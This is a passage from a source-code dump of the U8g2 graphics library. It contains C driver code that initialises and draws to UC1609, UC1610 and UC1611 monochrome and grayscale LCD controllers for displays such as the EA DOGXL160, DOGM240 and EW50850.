*/ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1609_19264_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* LC0: 0 MX: Mirror X MY: Mirror Y */ U8X8_C(0x0c4), /* low bits are MY, MX, LC0 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1609_19264_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* LC0: 0 MX: Mirror X MY: Mirror Y */ U8X8_C(0x0c2), /* low bits are MY, MX, LC0 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_uc1609_19264_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 15, /* pre_chip_disable_wait_ns = */ 15, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 30, /* sck_pulse_width_ns = */ 63, /* half of cycle time (125ns cycle time according to datasheet) --> 8MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 24, /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 192, /* pixel_height = */ 64 }; uint8_t u8x8_d_uc1609_slg19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c, page; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1609_19264_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1610 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; page = (((u8x8_tile_t *)arg_ptr)->y_pos); u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | page); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1610.c ================================================ /* u8x8_d_uc1610.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. cad001 */ #include "u8x8.h" static const uint8_t u8x8_d_uc1610_dogxl160_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0f1, 0x067), /* set COM end (display height-1) */ U8X8_C(0x0c0), /* SEG & COM normal */ U8X8_C(0x040), /* set scroll line lsb to zero */ U8X8_C(0x050), /* set scroll line msb to zero */ U8X8_C(0x02b), /* set panelloading */ U8X8_C(0x0eb), /* set bias 1/2 */ U8X8_CA(0x081, 0x05f), /* set contrast */ /* AC0: 0: stop at boundary, 1: increment by one AC1: 0: first column then page, 1: first page, then column increment AC2: 0: increment page adr, 1: decrement page adr. */ U8X8_C(0x08b), /* set auto increment, low bits are AC2 AC1 AC0 */ /* LC0: 0 MX: Mirror X MY: Mirror Y */ U8X8_C(0x0c0), /* low bits are MY, MX, LC0 */ U8X8_C(0x0f8), // window mode off U8X8_C(0x010), // col high U8X8_C(0x000), // col low U8X8_C(0x0b0), // page U8X8_C(0x0a6), /* set normal pixel mode (not inverse) */ U8X8_C(0x0a4), /* set normal pixel mode (not all on) */ /* test code U8X8_C(0x0af), // display on U8X8_C(0x0f8), // window mode off U8X8_CA(0x0f4, 0), // set window U8X8_CA(0x0f5, 0), U8X8_CA(0x0f6, 4), U8X8_CA(0x0f7, 1), U8X8_C(0x0f9), // window mode on U8X8_D1(0x03), U8X8_D1(0x0c0), U8X8_D1(0x0ff), U8X8_D1(0x0ff), U8X8_D1(0x0ff), U8X8_D1(0x0ff), U8X8_D1(0x0ff), U8X8_D1(0x0ff), */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1610_dogxl160_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on, UC1610 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1610_dogxl160_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off, UC1610 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1610_dogxl160_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* LC0: 0 MX: Mirror X MY: Mirror Y */ U8X8_C(0x0c0), /* low bits are MY, MX, LC0 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1610_dogxl160_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* LC0: 0 MX: Mirror X MY: Mirror Y */ U8X8_C(0x0c6), /* low bits are MY, MX, LC0 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* UC1610 has two chip select inputs (CS0 and CS1). CS0 is low active, CS1 is high active. It will depend on the display module whether the display has a is low or high active chip select. */ static const u8x8_display_info_t u8x8_uc1610_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 15, /* pre_chip_disable_wait_ns = */ 15, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 30, /* sck_pulse_width_ns = */ 63, /* half of cycle time (125ns cycle time according to datasheet) --> 8MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 20, /* tile_height = */ 13, /* height of 13*8=104 pixel */ /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 104 }; /* RAM Organization: D0 Pix0 D1 D2 Pix1 D3 D4 Pix2 D5 D6 Pix3 D7 D0 Pix4 D1 D2 Pix5 D3 D4 Pix6 D5 D6 Pix7 D7 */ static uint8_t *u8x8_convert_tile_for_uc1610(uint8_t *t) { uint8_t i; uint16_t r; static uint8_t buf[16]; uint8_t *pbuf = buf; for( i = 0; i < 8; i++ ) { r = u8x8_upscale_byte(*t++); *pbuf++ = r & 255; r >>= 8; *pbuf++ = r; } return buf; } uint8_t u8x8_d_uc1610_ea_dogxl160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c, page; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1610_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1610 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; page = (((u8x8_tile_t *)arg_ptr)->y_pos); page *= 2; u8x8_cad_SendCmd(u8x8, 0x0f8 ); /* window disable */ //u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); //u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); //u8x8_cad_SendCmd(u8x8, 0x0b0 | page); u8x8_cad_SendCmd(u8x8, 0x0f4 ); /* window start column */ u8x8_cad_SendArg(u8x8, x); u8x8_cad_SendCmd(u8x8, 0x0f5 ); /* window start page */ u8x8_cad_SendArg(u8x8, page); u8x8_cad_SendCmd(u8x8, 0x0f6 ); /* window end column */ u8x8_cad_SendArg(u8x8, 159); /* end of display */ u8x8_cad_SendCmd(u8x8, 0x0f7 ); /* window end page */ u8x8_cad_SendArg(u8x8, page+1); u8x8_cad_SendCmd(u8x8, 0x0f9 ); /* window enable */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, 16, u8x8_convert_tile_for_uc1610(ptr)); ptr += 8; x += 8; c--; } while( c > 0 ); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1611.c ================================================ /* u8x8_d_uc1611.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 6 Nov 2016: Not yet finished There are two controller: UC1611s 160x256 UC1611 160x240 Differences: UC1611 0xa8 cmd: enables 80 display rows UC1611s 0xa8 cmd: controlls graylevels UC1611 0xc0 cmd: single byte command for LCD mapping control UC1611s 0xc0 cmd: double byte command for LCD mapping control */ #include "u8x8.h" static const uint8_t u8x8_d_uc1611s_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a9), /* display on, UC1611s */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1611s_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a8), /* display off, enter sleep mode, UC1611s */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1611s_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0c0, 0x004), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1611s_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0c0, 0x002), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1611_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); y = ((u8x8_tile_t *)arg_ptr)->y_pos; u8x8_cad_SendCmd(u8x8, 0x060 | (y&15)); u8x8_cad_SendCmd(u8x8, 0x070 | (y>>4)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; /* handled in the calling procedure case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq); break; */ #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1611 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } /*================================================*/ /* EA DOGM240 */ /* UC1611 has two chip select inputs (CS0 and CS1). CS0 is low active, CS1 is high active. It will depend on the display module whether the display has a is low or high active chip select. */ static const u8x8_display_info_t u8x8_uc1611_240x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* pre_chip_disable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* uc1611 datasheet, page 67 */ /* sda_setup_time_ns = */ 10, /* uc1611 datasheet, page 64, actually 0 */ /* sck_pulse_width_ns = */ 60, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1611 datasheet, page 60 */ /* write_pulse_width_ns = */ 80, /* uc1611 datasheet, page 60 */ /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 240, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_uc1611_ea_dogm240_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x02f), /* internal pump control */ U8X8_CA(0x0f1, 63), /* set COM end */ U8X8_CA(0x0f2, 0x000), /* display line start */ U8X8_CA(0x0f3, 63), /* display line end */ U8X8_C(0x0a3), /* line rate */ U8X8_CA(0x081, 0x0a4), /* set contrast, EA default: 0x0b7 */ //U8X8_C(0x0a9), /* display enable */ U8X8_C(0x0d1), /* display pattern */ U8X8_C(0x089), /* auto increment */ U8X8_CA(0x0c0, 0x004), /* LCD Mapping */ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x060), /* page adr low */ U8X8_C(0x070), /* page adr high */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* UC1611s 240x64 display */ uint8_t u8x8_d_uc1611_ea_dogm240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1611_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_240x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_ea_dogm240_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* EA DOGXL240 */ static const uint8_t u8x8_d_uc1611_ea_dogxl240_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x02f), /* internal pump control */ U8X8_CA(0x0f1, 0x07f), /* set COM end */ U8X8_CA(0x0f2, 0x000), /* display line start */ U8X8_CA(0x0f3, 127), /* display line end */ U8X8_C(0x0a3), /* line rate */ U8X8_CA(0x081, 0x08f), /* set contrast */ //U8X8_C(0x0a9), /* display enable */ U8X8_C(0x0d1), /* display pattern */ U8X8_C(0x089), /* auto increment */ U8X8_CA(0x0c0, 0x004), /* LCD Mapping */ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x060), /* page adr low */ U8X8_C(0x070), /* page adr high */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_uc1611_240x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* pre_chip_disable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* uc1611 datasheet, page 67 */ /* sda_setup_time_ns = */ 10, /* uc1611 datasheet, page 64, actually 0 */ /* sck_pulse_width_ns = */ 60, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1611 datasheet, page 60 */ /* write_pulse_width_ns = */ 80, /* uc1611 datasheet, page 60 */ /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 240, /* pixel_height = */ 128 }; /* UC1611s 240x128 display */ uint8_t u8x8_d_uc1611_ea_dogxl240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1611_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_240x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_ea_dogxl240_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* EMERGING DISPLAY, EW50850FLWP 240x160 */ /* active high CS (CS1), UC1611 display */ static const uint8_t u8x8_d_uc1611_ew50850_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x02f), /* internal pump control */ U8X8_CA(0x0f1, 159), /* set COM end */ U8X8_CA(0x0f2, 0), /* display line start */ U8X8_CA(0x0f3, 159), /* display line end */ U8X8_C(0x0a3), /* line rate */ U8X8_CA(0x081, 75), /* set contrast */ //U8X8_C(0x0a9), /* display enable */ U8X8_C(0x0d2), /* gray level mode: 16 gray shades */ U8X8_C(0x089), /* auto increment */ U8X8_C(0x0c0), /* LCD Mapping Bit 0: MSF, Bit 1: MX, Bit 2: MY */ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x060), /* page adr low */ U8X8_C(0x070), /* page adr high */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_uc1611_ew50850_display_info = { /* chip_enable_level = */ 1, /* active high */ /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* pre_chip_disable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* uc1611 datasheet, page 67 */ /* sda_setup_time_ns = */ 10, /* uc1611 datasheet, page 64, actually 0 */ /* sck_pulse_width_ns = */ 60, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1611 datasheet, page 60 */ /* write_pulse_width_ns = */ 80, /* uc1611 datasheet, page 60 */ /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 20, /* height: 160 pixel */ /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 240, /* pixel_height = */ 160 }; static const uint8_t u8x8_d_uc1611_alt_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c0), /* LCD Mapping Bit 0: MSF, Bit 1: MX, Bit 2: MY */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1611_alt_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c6), /* LCD Mapping Bit 0: MSF, Bit 1: MX, Bit 2: MY */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1611_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on, UC1611 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1611_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a8), /* display off, enter sleep mode, UC1611 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* EW50850, 240x160 */ uint8_t u8x8_d_uc1611_ew50850(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c, i, v, m0, m1, ai; uint8_t *ptr; /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; y = ((u8x8_tile_t *)arg_ptr)->y_pos; y*=4; m0 = 1; m1 = 2; for( i = 0; i < 4; i++ ) { u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x060 | (y&15)); u8x8_cad_SendCmd(u8x8, 0x070 | (y>>4)); ai = arg_int; do { c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; while( c > 0 ) { v = 0; if ( *ptr & m0 ) v|= 0x0f; if ( *ptr & m1 ) v|= 0xf0; u8x8_cad_SendData(u8x8, 1, &v); /* note: SendData can not handle more than 255 bytes */ c--; ptr++; } ai--; } while( ai > 0 ); m0 <<= 2; m1 <<= 2; y++; } u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_ew50850_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_ew50850_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_alt_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_alt_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1611 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; /* msg unknown */ } return 1; } /*================================================*/ /* CG160160D, 